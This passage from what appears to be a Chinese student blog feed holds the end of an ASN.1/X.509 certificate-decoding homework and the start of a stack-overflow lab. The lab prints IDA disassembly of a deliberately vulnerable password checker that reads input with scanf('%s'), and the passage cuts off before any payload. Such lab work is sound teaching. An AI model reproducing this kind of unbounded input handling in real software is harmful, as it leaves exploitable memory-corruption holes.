data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">protoc --proto_path= rectangle.proto --python_out ./</span><br><span class="line">protoc --proto_path= rectangle.proto --cpp_out ./</span><br><span class="line">protoc --proto_path= rectangle.proto --java_out ./</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9AASN1/12.png"                      alt="proto编译"                ></p><h3 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h3><p>asn1的安装配置与使用：</p><p><strong><a class="link"   href="https://blog.csdn.net/qq_28256407/article/details/120571402" >https://blog.csdn.net/qq_28256407/article/details/120571402 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></strong></p><p><strong><a class="link"   href="https://blog.csdn.net/adgentleman/article/details/88576354" >https://blog.csdn.net/adgentleman/article/details/88576354 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></strong></p><p><strong><a class="link"   href="https://blog.csdn.net/weixin_33849942/article/details/91736131" >https://blog.csdn.net/weixin_33849942/article/details/91736131 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></strong></p><p>protobuffer的安装配置与使用：</p><p><strong><a class="link"   href="https://eyunzhu.com/cdata/ll3_nlQ_8KF8ML9_-9HYkw" >https://eyunzhu.com/cdata/ll3_nlQ_8KF8ML9_-9HYkw <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></strong></p><p><strong><a class="link"   href="http://i.lckiss.com/?p=8088" >http://i.lckiss.com/?p=8088 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></strong></p><p><strong><a class="link"   href="https://www.hi-dhl.com/2020/10/28/android/04-probuff-ubuntu/" >https://www.hi-dhl.com/2020/10/28/android/04-probuff-ubuntu/ <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></strong></p><p>实验参考：</p><p><strong><a class="link"   href="https://www.jianshu.com/p/5deb48440af3" >https://www.jianshu.com/p/5deb48440af3 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></strong></p><p><strong><a class="link"   href="https://kindhearted57.github.io/2020/05/12/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9A5-ANS1.html" >https://kindhearted57.github.io/2020/05/12/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9A5-ANS1.html <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></strong></p><h2 id="作业二"><a href="#作业二" class="headerlink" title="作业二"></a>作业二</h2><h3 id="要求"><a href="#要求" class="headerlink" title="要求"></a>要求</h3><p>搜索一个使用ASN.1编码的公私密钥或者证书文件，对其中的DER进行详细解释。可以自己分析，也可以通过工具分析（比如asn1dump）。分析的过程需要写出数据结构的组成，就是写出TLV来。</p><h3 id="X-509证书"><a href="#X-509证书" class="headerlink" title="X.509证书"></a>X.509证书</h3><p>​X.509是密码学里公钥证书的格式标准。X.509证书已应用在包括TLS&#x2F;SSL在内的众多网络协议里，同时它也用在很多非在线应用场景里，比如电子签名服务。X.509证书里含有公钥、身份信息（比如网络主机名，组织的名称或个体名称等）和签名信息（可以是证书签发机构CA的签名，也可以是自签名）。</p><p>​X.509还附带了证书吊销列表和用于从最终对证书进行签名的证书签发机构直到最终可信点为止的证书合法性验证算法。X.509是ITU-T标准化部门基于他们之前的ASN.1定义的一套证书标准。</p><h4 id="证书示例"><a href="#证书示例" class="headerlink" title="证书示例"></a>证书示例</h4><p>我们先从网络获取一个证书实例，选取一个网站，点击网页链接的锁的标志，后续操作如下，最终我选择的是der形式存储：</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9AASN1/13.png"                      alt="证书获取"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9AASN1/14.png"                      alt="证书获取"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9AASN1/15.png"                      alt="证书获取"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9AASN1/16.png"                      alt="证书获取"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9AASN1/17.png"                      alt="证书获取"                ></p><h4 id="证书结构"><a href="#证书结构" class="headerlink" title="证书结构"></a>证书结构</h4><p>X.509使用ASN.1来描述公钥证书的结构，通常编码为DER格式，也可以进一步BASE64编码为可打印的PEM格式。V3版本的X.509结构如下：</p><ul><li>证书<ul><li>版本号</li><li>序列号</li><li>签名算法</li><li>颁发者</li><li>证书有效期<ul><li>此日期前无效</li><li>此日期后无效</li></ul></li><li>主题</li><li>主题公钥信息<ul><li>公钥算法</li><li>主题公钥</li></ul></li><li>颁发者唯一身份信息（可选项）</li><li>主题唯一身份信息（可选项）</li><li>扩展信息（可选项）<ul><li>…</li></ul></li></ul></li><li>证书签名算法</li><li>数字签名</li></ul><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"> Certificate  ::=  SEQUENCE  &#123;</span><br><span class="line">     tbsCertificate       TBSCertificate,</span><br><span class="line">     signatureAlgorithm   AlgorithmIdentifier,</span><br><span class="line">     signatureValue       BIT STRING  &#125;</span><br><span class="line"></span><br><span class="line"> TBSCertificate  ::=  SEQUENCE  &#123;</span><br><span class="line">     version         [0]  EXPLICIT Version DEFAULT v1,</span><br><span class="line">     serialNumber         CertificateSerialNumber,</span><br><span class="line">     signature            AlgorithmIdentifier,</span><br><span class="line">     issuer               Name,</span><br><span class="line">     validity             Validity,</span><br><span class="line">     subject              Name,</span><br><span class="line">     subjectPublicKeyInfo SubjectPublicKeyInfo,</span><br><span class="line">     issuerUniqueID  [1]  IMPLICIT UniqueIdentifier OPTIONAL,</span><br><span class="line">                          -- If present, version MUST be v2 or v3</span><br><span class="line">     subjectUniqueID [2]  IMPLICIT UniqueIdentifier OPTIONAL,</span><br><span class="line">                          -- If present, version MUST be v2 or v3</span><br><span class="line">     extensions      [3]  EXPLICIT Extensions OPTIONAL</span><br><span class="line">                          -- If present, version MUST be v3</span><br><span class="line">     &#125;</span><br><span class="line"></span><br><span class="line">Version  ::=  INTEGER  &#123;  v1(0), v2(1), v3(2)  &#125;</span><br><span class="line"></span><br><span class="line">CertificateSerialNumber  ::=  INTEGER</span><br><span class="line"></span><br><span class="line">Validity ::= SEQUENCE &#123;</span><br><span class="line">     notBefore      Time,</span><br><span class="line">     notAfter       Time &#125;</span><br><span class="line"></span><br><span class="line">Time ::= CHOICE &#123;</span><br><span class="line">     utcTime        UTCTime,</span><br><span class="line">     generalTime    GeneralizedTime &#125;</span><br><span class="line"></span><br><span class="line">UniqueIdentifier  ::=  BIT STRING</span><br><span class="line"></span><br><span class="line">SubjectPublicKeyInfo  ::=  SEQUENCE  &#123;</span><br><span class="line">     algorithm            AlgorithmIdentifier,</span><br><span class="line">     subjectPublicKey     BIT STRING  &#125;</span><br><span class="line"></span><br><span class="line">Extensions  ::=  SEQUENCE SIZE (1..MAX) OF Extension</span><br><span class="line"></span><br><span class="line">Extension  ::=  SEQUENCE  &#123;</span><br><span class="line">     extnID      OBJECT IDENTIFIER,</span><br><span class="line">     critical    BOOLEAN DEFAULT FALSE,</span><br><span class="line">     extnValue   OCTET STRING  &#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></div><h4 id="证书分析"><a href="#证书分析" class="headerlink" title="证书分析"></a>证书分析</h4><h5 id="查看证书内容"><a href="#查看证书内容" class="headerlink" title="查看证书内容"></a>查看证书内容</h5><p>我们先直接点击保存的证书文件，再点击详细信息，查看证书的详细内容。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9AASN1/18.png"                      alt="证书内容"                ></p><h5 id="用Asn1dump分析证书文件"><a href="#用Asn1dump分析证书文件" class="headerlink" title="用Asn1dump分析证书文件"></a>用Asn1dump分析证书文件</h5><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9AASN1/19.png"                      alt="证书分析"                ></p><p>证书签名算法的OID为 1.2.840.113549.1.1.11 ，我们在<a class="link"   href="http://www.oid-info.com/" >www.oid-info.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> 上查询OID，发现它是<strong>sha256WithRSAEncryption</strong></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9AASN1/20.png"                      alt="证书分析"                ></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Certificate  ::=  SEQUENCE  &#123;</span><br><span class="line">        tbsCertificate       TBSCertificate,           - 证书</span><br><span class="line">        signatureAlgorithm   AlgorithmIdentifier,      - 证书签名算法 1.2.840.113549.1.1.11   sha256WithRSAEncryption</span><br><span class="line">        signatureValue       BIT STRING  &#125;             - 数字签名</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9AASN1/21.png"                      alt="证书分析"                ></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">    TBSCertificate  ::=  SEQUENCE  &#123;</span><br><span class="line">        version         [0]  EXPLICIT Version DEFAULT v1,                  -版本号</span><br><span class="line">        serialNumber         CertificateSerialNumber,                      -序列号</span><br><span class="line">        signature            AlgorithmIdentifier,                          -签名算法</span><br><span class="line">        issuer               Name,                                         -颁发者</span><br><span class="line">        validity             Validity,                                     -有效期</span><br><span class="line">        subject              Name,                                         -主题</span><br><span class="line">        subjectPublicKeyInfo SubjectPublicKeyInfo,                         -主题公钥信息</span><br><span class="line">        issuerUniqueID  [1]  IMPLICIT UniqueIdentifier OPTIONAL,           -颁发者唯一身份信息（可选项）</span><br><span class="line">                             -- If present, version MUST be v2 or v3</span><br><span class="line">        subjectUniqueID [2]  IMPLICIT UniqueIdentifier OPTIONAL,           -主题唯一身份信息（可选项）</span><br><span class="line">                             -- If present, version MUST be v2 or v3</span><br><span class="line">        extensions      [3]  EXPLICIT Extensions OPTIONAL                  - 扩展信息（可选项）</span><br><span class="line">                             -- If present, version MUST be v3</span><br><span class="line">        &#125;</span><br><span class="line">#版本号   V3</span><br><span class="line">   Version  ::=  INTEGER  &#123;  v1(0), v2(1), v3(2)  &#125;</span><br><span class="line">#序列号   044d72d77cdda702dd5a67f2a23bbdd9</span><br><span class="line">   CertificateSerialNumber  ::=  INTEGER</span><br><span class="line">#签名算法    sha256RSA  sha256</span><br><span class="line">#颁发者   CN = DigiCert TLS RSA SHA256 2020 CA1，O = DigiCert Inc，C = US</span><br><span class="line">#有效期  从2023年2月21日 8:00:00 到 2024年3月21日 7:59:59</span><br><span class="line">   Validity ::= SEQUENCE &#123;</span><br><span class="line">        notBefore      Time,</span><br><span class="line">        notAfter       Time &#125;</span><br><span class="line"></span><br><span class="line">   Time ::= CHOICE &#123;</span><br><span class="line">        utcTime        UTCTime,</span><br><span class="line">        generalTime    GeneralizedTime &#125;</span><br><span class="line">#主题使用者CN = *.github.io，O = GitHub, Inc.，L = San Francisco，S = California，C = US   </span><br><span class="line">#公钥  30 82 01 0a 02 82 01 01 00 b8 b0 60 0e 1a 2f f1 b1 86 4b 64 ec 11 9f a6 79 be e8 87 f1 88 c5 b4 49 9b 10 bb ca af ea af be 54 0c 78 43 7f ca 7b 4e 45 5b 0b 24 29 f1 bb 23 fc 19 a4 c7 6c 70 49 76 53 d3 09 23 65 b2 48 7b b6 1c aa 07 1a e2 79 1a f9 7a 5e e7 16 f8 a6 4a d5 39 a3 e2 0d f7 57 ef ed f8 08 76 5b 52 da 8b d0 e6 1e 6e 2f f9 0f 99 4b 6a 52 ca 34 e1 a4 c9 20 33 d3 97 e8 7a 77 c5 03 10 26 41 82 61 47 a2 af c4 56 3f 76 a2 38 cb b2 70 ae 72 7a 43 c1 7e 27 a3 5e d6 e3 f6 e7 a5 30 70 bd 2a 96 27 7a 7b fb 40 d2 57 77 af 23 12 27 42 3a c6 0b 6a 8c bd ba 2d ee 3f 9f 15 ee 62 57 a4 a6 95 50 af 43 b0 ac 76 b8 e1 0e d9 ff 56 ec 74 50 86 b5 1f 96 2c d1 95 05 e5 b7 05 67 93 4e 9e f2 5a 38 1f a7 8f 43 5a de 3c 57 da 48 7a 50 c6 88 38 15 c8 97 2c 2c ec f8 39 09 36 bd 19 8d 03 56 41 66 07 24 e3 02 03 01 00 01</span><br><span class="line">#公钥参数05 00</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9AASN1/22.png"                      alt="证书分析"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9AASN1/23.png"                      alt="证书分析"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9AASN1/24.png"                      alt="证书分析"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9AASN1/25.png"                      alt="证书分析"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9AASN1/26.png"                      alt="证书分析"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9AASN1/27.png"                      alt="证书分析"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9AASN1/28.png"                      alt="证书分析"                ></p><h3 id="参考链接-1"><a href="#参考链接-1" class="headerlink" title="参考链接"></a>参考链接</h3><p><a class="link"   href="https://zh.wikipedia.org/zh-sg/X.509#%E8%AF%81%E4%B9%A6%E7%BB%84%E6%88%90%E7%BB%93%E6%9E%84%22%E7%BB%B4%E5%9F%BA%E7%99%BE%E7%A7%91" >X.509维基百科 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>[X.509证书结构](<a class="link"   href="https://www.cnblogs.com/xinzhao/p/8963724.html%22ECC%E5%85%AC%E9%92%A5%E6%A0%BC%E5%BC%8F%E8%AF%A6%E8%A7%A3" >https://www.cnblogs.com/xinzhao/p/8963724.html&quot;ECC公钥格式详解 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> “)</p><p><a class="link"   href="https://zhuanlan.zhihu.com/p/520700949" >https://zhuanlan.zhihu.com/p/520700949 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><a class="link"   href="https://wuziqingwzq.github.io/ca/2018/05/11/x509-knowledge-asn2.html" >https://wuziqingwzq.github.io/ca/2018/05/11/x509-knowledge-asn2.html <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><a class="link"   href="https://blog.csdn.net/qq_39385118/article/details/107510032" >https://blog.csdn.net/qq_39385118/article/details/107510032 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="密码工程" scheme="http://example.com/categories/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B/"/>
    
    
    <category term="密码工程" scheme="http://example.com/tags/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B/"/>
    
    <category term="ASN1" scheme="http://example.com/tags/ASN1/"/>
    
  </entry>
  
  <entry>
    <title>栈溢出实验</title>
    <link href="http://example.com/2023/03/19/%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/"/>
    <id>http://example.com/2023/03/19/%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/</id>
    <published>2023-03-19T11:46:05.000Z</published>
    <updated>2023-03-19T11:56:14.346Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>子函数在运行过程中，由于存在危险函数，在数据移动过程中，突破了函数栈空间的边界，破坏了母函数栈空间中的内容，导致程序运行状态异常</p><h2 id="分析环境和工具"><a href="#分析环境和工具" class="headerlink" title="分析环境和工具"></a>分析环境和工具</h2><p>Windows XP Professional、VC 6.0、IDA、OllyICE</p><h2 id="StackOverflow程序结构"><a href="#StackOverflow程序结构" class="headerlink" title="StackOverflow程序结构"></a>StackOverflow程序结构</h2><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://github.com/nnna48/nnna48.github.io/blob/main/images/%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AE%9E%E9%AA%8C/1.png?raw=true"                      alt="1"                ></p><h3 id="Main函数"><a href="#Main函数" class="headerlink" title="Main函数"></a>Main函数</h3><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br></pre></td><td class="code"><pre><span class="line">.text:00401090</span><br><span class="line">.text:00401090 ; =============== S U B R O U T I N E =======================================</span><br><span class="line">.text:00401090</span><br><span class="line">.text:00401090 ; Attributes: bp-based frame</span><br><span class="line">.text:00401090</span><br><span class="line">.text:00401090 ; int __cdecl main(int argc, const char **argv, const char **envp)</span><br><span class="line">.text:00401090 _main           proc near               ; CODE XREF: _main_0j</span><br><span class="line">.text:00401090</span><br><span class="line">.text:00401090 var_444         = byte ptr -444h</span><br><span class="line">.text:00401090 Str1            = byte ptr -404h</span><br><span class="line">.text:00401090 var_4           = dword ptr -4</span><br><span class="line">.text:00401090 argc            = dword ptr  8</span><br><span class="line">.text:00401090 argv            = dword ptr  0Ch</span><br><span class="line">.text:00401090 envp            = dword ptr  10h</span><br><span class="line">.text:00401090</span><br><span class="line">.text:00401090                 push    ebp</span><br><span class="line">.text:00401091                 mov     ebp, esp</span><br><span class="line">.text:00401093                 sub     esp, 444h</span><br><span class="line">.text:00401099                 push    ebx</span><br><span class="line">.text:0040109A                 push    esi</span><br><span class="line">.text:0040109B                 push    edi</span><br><span class="line">.text:0040109C                 lea     edi, [ebp+var_444]</span><br><span class="line">.text:004010A2                 mov     ecx, 111h</span><br><span class="line">.text:004010A7                 mov     eax, 0CCCCCCCCh</span><br><span class="line">.text:004010AC                 rep stosd</span><br><span class="line">.text:004010AE                 mov     [ebp+var_4], 0</span><br><span class="line">.text:004010B5</span><br><span class="line">.text:004010B5 loc_4010B5:                             ; CODE XREF: _main:loc_401115j</span><br><span class="line">.text:004010B5                 mov     eax, 1</span><br><span class="line">.text:004010BA                 test    eax, eax</span><br><span class="line">.text:004010BC                 jz      short loc_401117</span><br><span class="line">.text:004010BE                 push    offset Format   ; &quot;please input password:  &quot;</span><br><span class="line">.text:004010C3                 call    _printf</span><br><span class="line">.text:004010C8                 add     esp, 4</span><br><span class="line">.text:004010CB                 lea     ecx, [ebp+Str1]</span><br><span class="line">.text:004010D1                 push    ecx</span><br><span class="line">.text:004010D2                 push    offset aS       ; &quot;%s&quot;</span><br><span class="line">.text:004010D7                 call    _scanf</span><br><span class="line">.text:004010DC                 add     esp, 8</span><br><span class="line">.text:004010DF                 lea     edx, [ebp+Str1]</span><br><span class="line">.text:004010E5                 push    edx             ; Str1</span><br><span class="line">.text:004010E6                 call    j_?verify_password@@YAHPAD@Z ; verify_password(char *)</span><br><span class="line">.text:004010EB                 add     esp, 4</span><br><span class="line">.text:004010EE                 mov     [ebp+var_4], eax</span><br><span class="line">.text:004010F1                 cmp     [ebp+var_4], 0</span><br><span class="line">.text:004010F5                 jz      short loc_401106</span><br><span class="line">.text:004010F7                 push    offset aIncorrectPassw ; &quot;incorrect password!\n\n&quot;</span><br><span class="line">.text:004010FC                 call    _printf</span><br><span class="line">.text:00401101                 add     esp, 4</span><br><span class="line">.text:00401104                 jmp     short loc_401115</span><br><span class="line">.text:00401106 ; ---------------------------------------------------------------------------</span><br><span class="line">.text:00401106</span><br><span class="line">.text:00401106 loc_401106:                             ; CODE XREF: _main+65j</span><br><span class="line">.text:00401106                 push    offset aCongratulation ; &quot;congratulations! you have passed the ve&quot;...</span><br><span class="line">.text:0040110B                 call    _printf</span><br><span class="line">.text:00401110                 add     esp, 4</span><br><span class="line">.text:00401113                 jmp     short loc_401117</span><br><span class="line">.text:00401115 ; ---------------------------------------------------------------------------</span><br><span class="line">.text:00401115</span><br><span class="line">.text:00401115 loc_401115:                             ; CODE XREF: _main+74j</span><br><span class="line">.text:00401115                 jmp     short loc_4010B5</span><br><span class="line">.text:00401117 ; ---------------------------------------------------------------------------</span><br><span class="line">.text:00401117</span><br><span class="line">.text:00401117 loc_401117:                             ; CODE XREF: _main+2Cj</span><br><span class="line">.text:00401117                                         ; _main+83j</span><br><span class="line">.text:00401117                 push    offset Command  ; &quot;pause&quot;</span><br><span class="line">.text:0040111C                 call    _system</span><br><span class="line">.text:00401121                 add     esp, 4</span><br><span class="line">.text:00401124                 pop     edi</span><br><span class="line">.text:00401125                 pop     esi</span><br><span class="line">.text:00401126                 pop     ebx</span><br><span class="line">.text:00401127                 add     esp, 444h</span><br><span class="line">.text:0040112D                 cmp     ebp, esp</span><br><span class="line">.text:0040112F                 call    __chkesp</span><br><span class="line">.text:00401134                 mov     esp, ebp</span><br><span class="line">.text:00401136                 pop     ebp</span><br><span class="line">.text:00401137                 retn</span><br><span class="line">.text:00401137 _main           endp</span><br><span class="line">.text:00401137</span><br><span class="line">.text:00401137 ; ---------------------------------------------------------------------------</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://github.com/nnna48/nnna48.github.io/blob/main/images/%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AE%9E%E9%AA%8C/2.png?raw=true"                      alt="2"                ></p><p>上图所示，为main函数创建函数栈空间。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mov     dword ptr [ebp-4], 0</span><br></pre></td></tr></table></figure></div><p>创建局部变量，并置为零</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://github.com/nnna48/nnna48.github.io/blob/main/images/%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/%E6%A0%88%E6%BA%A2%E5%87%BA%E5%AE%9E%E9%AA%8C/3.png?raw=true"                      alt="3"                ></p><p>上图部分，开始进入循环</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">mov     eax, 1</span><br><span class="line">test    eax, eax</span><br><span class="line">jz      short 